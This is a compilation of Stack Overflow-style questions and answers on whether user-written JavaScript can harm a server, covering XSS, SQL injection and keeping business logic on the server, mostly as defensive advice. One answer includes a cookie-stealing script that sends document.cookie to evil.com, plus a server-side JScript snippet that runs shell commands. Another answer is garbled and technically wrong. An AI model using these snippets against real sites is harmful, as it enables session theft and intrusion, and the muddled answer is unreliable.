Could browser javascript harm my backend server? - javascript

I'm coding an application where I want to let the user learn javascript in this way:
The user write javascript code on the browser like in an IDE.
The user saves it and the code will be saved as a string in my backend No-SQL database (MongoDB/CouchDB).
The user opens the application some days later and I pass that string to the web browser where the code will be executed with eval().
There will be only JSON data transferred between backend server and web browser. The server won't do anything on the code string, it will only save it directly into the database.
Could this code possibly do any damage on the server side?

On the server-side, no. Unless the scripts runs on IE and create multiple files disk. Or make some request to your system inserting billions of new entries...
So you have to take care with requests (flood control), be careful with IE and be careful with SQL injections.
Examples
Creating file in IE
SQL Injection
And the request I'm talking about could be something like:
ajax.post("page_save_js.ext", "code=flood");
Then each time it runs it will insert a new code, flooding the server. StackOverflow controls this flood using captcha after some requests in a short amount of time.

No harm can come from this if its just stored as a string in the DB.
Its really no different than storing any other string. Its just data at that point.

anytime you accept input from a user you must check to make sure it doesn't contain things like sql injection or js injection.
So it can be dangerous to your server (sql injection could wipe/output your db) and to your users (js injection could send them to nefarious sites)

Your server code won't run the javascript unless you tell it to somehow, so that won't cause problems. (And of course you should avoid any SQL injection issues.)
However, if you provide sensitive information in the page (hidden or otherwise), or allow javascript to make ajax calls into methods on your servier, those can be security issues.

Using a nosql database only makes you invulnerable against "SQL injection", but there are very similar QL injection attack vectors. So you still have to escape your data or use data safe APIs (the equivalent of prepared statements in the SQL world).
Some examples of NOSQL-injections are given on http://www.kalzumeus.com/2010/09/22/security-lessons-learned-from-the-diaspora-launch/ (Search for "NoSQL Doesn’t Mean No SQL Injection" within that page).
For the client side: If possible you should make sure that the java script is only delivered to the user who uploaded it unless the user is trusted. This includes a CSRF check on the login form. Wikipedia failed on this in the past.

Related

Can end user contact SQL DB if he can write his own Javascript?

I have a website on which i let the user edit the frontend of the website.
The user only has access to an editor, not to the server its hosted on.
The user asked me to also allow javascript.
This means the user can create his own scripts on the frontend.
What i was worrying was that the user may be use this to do malicious stuff. i'm afraid that if the user knows stuff well enough he might screw over the site.
My questions:
- Let's say the user has the connection string of the SQL DB, can he manage to perform queries on that server ? Normally this should be NO as javascript is client side right?
I found the following snippet:
var connection = new ActiveXObject("ADODB.Connection") ;
var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";
connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
document.write(rs.fields(1));
rs.movenext;
}
rs.close;
connection.close;
Let's say my connection string looks like
Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True
I have tried to make the script run ,but luckily it showed a blank page. but is this since I'm maybe doing something wrong? or is it indeed cause javascript is client sided and will not allowing doing that sort of stuff?
Other question:
- what examples of other risks did i take allowing him to use javascript on the front end? if it's true that javascript is an entirely client side- language, it means that he couldn't do anything else risky right?
JavaScript runs on client-side and it can't affect your server's security directly. However, it can pose a threat to your site visitors, users and administrators. JavaScript attacks are known as XSS attacks and can have various implications:
The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
The code in your question seems to use ActiveXObject to create a database connection. If an attacker has the database credentials (the connection string) and the SQL server port is open, then yes they could access the database, but at this point they could use any SQL client.
However, It is possible to run JScript (Microsoft's version of JavaScript) on IIS servers. If the code is placed in a script tag with a runat="server" attribute, on an .asp page, then it would be executed on the server and it could reach the database. For example, this code:
<html>
<script language="javascript" runat="server">
function exploit() {
var shell = new ActiveXObject("WScript.shell");
var cmd = shell.Exec("ipconfig");
Response.Write("<pre>" + cmd.StdOut.ReadAll() + "</pre>");
}
</script>
<% exploit() %>
</html>
would display the server's IP configuration, if it was executed on .asp or .aspx pages.
But if an attacker can edit .asp / .aspx pages then it's already too late.
Assuming that they can't edit active server pages, and they don't have the credentials or access to the SQL server, they shouldn't be able to access your database directly with JavaScript. However, they could use XSS attacks to elevate their privileges.
A possible attack scenario:
The attacker writes a script that collects user cookies, and sends them to their server.
var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');
With this simple code, the attacker could log the cookies of any user that visits the page hosting this malicious script, and use them to login to their account or perform other actions using their privileges.
If an administrator visits this page, the attacker could use their cookies to access the control pannel as administrator.
Many CMSs (including WordPress and Joomla) allow administrators to write or modify PHP code on the server, so it may be possible for the attacker to upload a web shell. They could even automate the whole proccess by making XHR requests from the administrator's browser.
If they manage to upload a web shell, they can execute commands and code, read/write files and access SQL servers. So now they can access the databse, using the same credentials and IP as your user account. Of course there may be mechanisms (AV, restrictions, etc) that would prevent this, but a determined attacker could find ways to bypass them.
In conclusion, you should never run untrusted code. Allowing untrusted JavaScript code on your site can have very bad consequences. Even if the attacker can't access your database or harm your site, they still could harm your visitors. You can visit beef to see how dangerous XSS attacks can be.
JavaScript in the browser is strictly a client-side technology. No matter what you let or don't let the user do in JavaScript, the only possible bad result is that they submit data that you weren't expecting.
If this data results in any sort of actions you don't want, you need to fix your code to be able to handle it (generally reject it), since anybody in the world could do the same thing with or without JavaScript, and with or without your permission.
The end result of any sort of user-side scripting is going to be an HTTP request. You need to be able to handle anything that comes in, regardless of whether you gave the user permission to do it since hackers and bots all over the world will do it anyway.
This is actually a pretty huge topic with a few really important rules that will take care of most of the problems. For example, if you use Stored Procedures for all your data access, and don't grant the web user anything but EXECUTE permissions for the stored procedures they need to run, you've just eliminated entire classes of very common attacks.
You can Google "SQL Injection" for a good start.
edit
The snippet you posted would allow database access, but only to a database that's accessible from the user's machine.
Production database connections are rarely directly accessible from the internet, so if the user is somewhere else on the internet and ran the code you posted, they still couldn't effect your database.
Now if you're talking about letting the user execute this code in a browser that's running in a desktop session on the same machine or network as the database, it might be possible for them to do bad things, depending on the level of isolation the browser provides.

Safe Javascript/Sql connection

im trying to create a simple website with HTML/CSS and Javascript. Basically the user should be able to input a number into a textfield and "send it" with a button. When the button got pressed i want to run a Javascript function that searches the number in a sql database.
Creating all that stuff shouldnt be a big problem for me, but i have no clue how to create a safe connection between JS and SQL. I have read that a direct connection with javascript is very insecure.
Some people recommend to use java or c# to built an sql connection. How would that work? Basically just an Javascript code, that runs an java/c# application(which builds an sql connection) and returns the needed sql data?
Also heard that its possible to create a sql connection with node.js, is this safe? Or is another method more suitable?
Greetings
I have read that a direct connection with javascript is very insecure
The danger is in giving direct access to your database to the client. JavaScript is most commonly run client-side in web browsers, so for it to access the database you would have to give the browser (and thus the visitor) a username and password on your database server and let them run raw SQL.
There are many possible security risks with this and it just isn't worth it.
(Aside: You can't make arbitrary socket connections with browser-side JavaScript, so it's impossible to connect to most database servers from it anyway).
If you want to expose data to JavaScript running in the web browser, then the standard approach is to write a webservice.
You can write the webservice in any programming language you like (including JavaScript). It listens for HTTP requests, reads data out of them, possibly performs authn/authz, the queries the database (applying the well-documented defences against SQL Injection attacks) and returns the result (often formatted as JSON).
The client-side JavaScript, therefore, just has to make an HTTP request (e.g. with XMLHttpRequest or fetch) with parameters passed in the query string or request body, and process the data it gets back from it.
Connecting to a database using client side javascript is very insecure as the javascript will need to know the login details. And since the client side javascript is on the client side, any user will be able to see the login details in plain text.
The best way to do this is to make a webservice on a server. When the button is clicked it will make a GET/POST request to the webservice with the entered number as a parameter. The webservice, which can be made using any language pretty much, will create the connection with the database and insert the row itself.
Although I would advise going the webservice route since it will be much easier to make secure. Playing with javascript to database is extremely dangerous unless you have a really good system and understand exactly what you are doing; but if you really want to do it and have an application that requires it, then can use PouchDB connected with CouchDB.
PouchDB is run locally and can sync with CouchDB over HTTP.
https://pouchdb.com/
https://couchdb.apache.org/
There is an answer here discussing basic security with pouchDb synchronizing with couchDb. Basically, each person needs separate login credentials and credentials should never be stored in the page code.
PouchDB security
There are some neat uses for pouchDB: https://pouchdb.com/users.html

how to secure queries in meteor

The question is about duplicating queries in server/client in meteor.js.
here is a solution : https://www.discovermeteor.com/blog/query-constructors/. There , the author proposes a shared file between client and server to hold the queries.
I have readed the article and I find it interesting but I have a question. If you put your queries in a shared file, the client also has access and can modify them? The security problem is not solved?
Code on the client is by definition untrusted. Conversely, code on the server is trusted. Code that is used on both the client and the server (often by being placed under /lib but also by being imported into both) is untrusted when running from the client and trusted when running from the server. Remember that the client gets a copy of the code, the users don't actually have access to the original on disk or the other copy that is in server memory.
With Meteor's latency compensation, a shared method runs on the client first. The client state (in minimongo) immediately reflects the state achieved by running the method. Then the method runs again on the server. If the result is different in some way, then the client state is updated from the server with the correct data.
If you want to hide the method's logic from the server you can just not include it in your client code. You will forego latency compensation but you will keep your secrets secret! (ex: API keys, critical business logic). You can also have pure server code, such as startup scripts and cron jobs, that are never even invoked from the client.
In Meteor, nothing on the client can ever be trusted or considered safe. There is simply no way you can "hide" stuff on the client. If the browser can run it, a hacker can read it. And modify it.
Remember that queries on the client run on data on the client, and then the result of those queries is sent over a web-socket to/from the server. It is then the job of the server to do security/authorization/sanity checks on all data going out or coming in, to make sure only the data the client is authorized to view is sent, and only the modifications the client is allowed to do is actually done on the server DB.
The Discovermeteor blog you linked to is all about how to reduce code duplication between server and client, and still have flexibility between them. This has very little to do with security.
It does not really matter from a security point of view that the source code for the DB queries are readable on the client, because your server needs to do its security police job anyway. Otherwise you have an insecure app, even if the actual query source code is unknown.
An attacker can always look at the DDP protocol, it is almost as readable as a MongoDB query!
I think you're asking 2 different questions:
1) How do you ensure the security of a query?
2) How do you ensure the secrecy of a query?
WRT #1: Keeping a query in a shared lib file is secure because regardless of whether a client knows what query you're running, he won't be able to run it on the server and even if he changes it, that only alters the client copy, and doesn't affect the server's copy.
In the example you link to, note that the client is only able to change the limit field. He can't change the 'find' field. Even if he were to redefine the 'latestPost' function client-side to allow an additional parameter that gets added to the 'find' field, that function isn't redefined on the server-side so only the original definition will be used server-side (one point, however, is that in the example, the limit field isn't sanitized or checked for validity; a client could send text and cause an error).
So it would still be secure as you are limiting exactly which parts of the query constructor the client is allowed to change.
WRT #2: you're correct that this means the query won't be secret. The client will know exactly how you're querying, and with that info, may be able to deduce parts of your internal data structure.
Whether or not this is an issue is up to you, although I will say that in the security world, "security through obscurity" is considered bad practice: you should write your code such that even if all of your data structures, algorithms, and code is known, your data is still secure. That's why, for example, you can easily download the code for any encryption algorithm: the security doesn't depend on keeping the algorithm secret.

javascript global variables - protection

I am using some global variables on a web application, built on Html/Javascript. I am using these variables across pages (or portions of them), and sometimes they are used as post data for ajax calls. My question is: how secure is this? surely i can set different values for these variables (using a console for example) and then, the calls that rely on this var are made. Imagine the user sets some Id that corresponds to something that he even doesn't have access to..
How should this be done?
Thanks in advance
There is nothing different about this from any web application, from a point of view of security.
Anything sent from the browser must be treated as untrusted by the server. This includes URL parameters, form post data, cookies, http headers and anything controlled by javascript. All these items can be manipulated by an attacker.
Essentially, it doesn't matter what the values are in the client, you only need to worry about them when they hit your server in the form of a new HTTP request (this includes XHR). Until that point, variables with bad values can't do any damage.
Ensure your server can correctly authenticate the current user and only allow them access to data and actions that they are authorised to perform. Ensure that all data received from the browser is checked to be correct (if known) or of the correct datatype and within expected limits, rejecting the data and aborting the action if it is not.
if you use jquery, you can use
$.data()
With this, you can associate the data with an element, thus a unauthorized user will not be able to access it
Javascript has runtime type identification (everything is a var like visual basic), its a loosely typed language.
Javascript has its own security model though
User cannot access files (r/write)
It cannot access or look at user location, files, open windows without demand etc
It is not possible to protect the source of your javascript file either or even pwd protecting it as this is better done server side.
Even encryption or decryption doesnt work because somehow you need to tell your users the key
Worse, JavaScript can self-modify at run-time - and often does. That means that the security threat may not be in the syntax or the code when it's delivered to the client, but it might appear once the script is executed.
There is no JavaScript proxy that parses and rejects malicious script, no solution that proactively scans JavaScript for code-based exploits, no external answer to the problem. That means we have to rely on the browser developers to not only write a good browser with all the bells and whistles we like, but for security, as well.

How to prevent JavaScript Injection Attacks

Currently I have developed a site which is used for handle financial transactions. I have seen that some of my customers have done JavaScript injection attacks and have done some transactions which are not possible. As a example I have checked his cash balance before he place the order. But some of them did change that by running the following javascript in the address bar. They have taken the varible name by looking in to page source.
javascript:void(document.accounts.cashBalence.value="10000000")
Since this is critical I want to fixed it quickly. So is there a way to prevent JavaScript injection attacks?
You can obfuscate or hash variable names and/or values. However,
Don't use JavaScript, do every logic in the server-side instead.
In the end it's not even a problem of Javascript. Your server talks to the outside world using HTTP. It sends data using HTTP and receives data using HTTP. Anybody can request data from it using HTTP and anybody can send data to it using HTTP.
Think about this again:
Anybody can send data to your server through the very simple protocol that is HTTP.
The HTML and Javascript you're sending to people's browsers is just a nice help, an interface, to allow them to easily send data to your server. They could do the same using the curl command on their command line or by telnet'ing into port 80 and talk really low-level to it.
If your server blindly obeys any and all commands sent to it without checking their validity, you have no security whatsoever. Security and validity checks belong on the server, not on the client side interface. Because HTML and Javascript aren't the only interface to your server, nor are they in any way protectable and hence trustworthy.
Javascript runs in the user's browser. You ultimately have no control over it and should not trust it. Any verification you do in the browser is merely for the user's convenience so they can be alerted of problems as early as possible.
The backend code that accepts the order should do the authoritative check of the user's balance.
No client-side scripting (including Javascript) is good for verification, It should all be done on the server-side.
It is too unreliable to trust it specially if it is for financial records!!
It should be used for a better "user experience". Form validation while typing or whatever but not this!
Have found that if you make it to where server only excepts out going data not incoming data it works best but that poses a problem, if you are using a website that takes user input on the connected client then your preaty much screwed I sugset a simple java script line that in a sence makes it to where before you can send any java script you have to enter a basic set of variables so in a sence just have a login page start with somthing like this
System.out.printin ("Welcome, Would you like to login to edit?")
Then { System.in = "Yes"}
To prevent Javascript injection, you should have a Validation Feature whenever you allow your user to enter something. Try to use libraries that determine Javascript scripts that are entered to the form.
Also when displaying user inputs, you should Escape Texts to display it as is and will not be evaluated by the browser.
Utilize your server, your should place your business logic to the server and not to the client whether using Javascript or not. All data sent to the client are just view and should not process any business logic.

Categories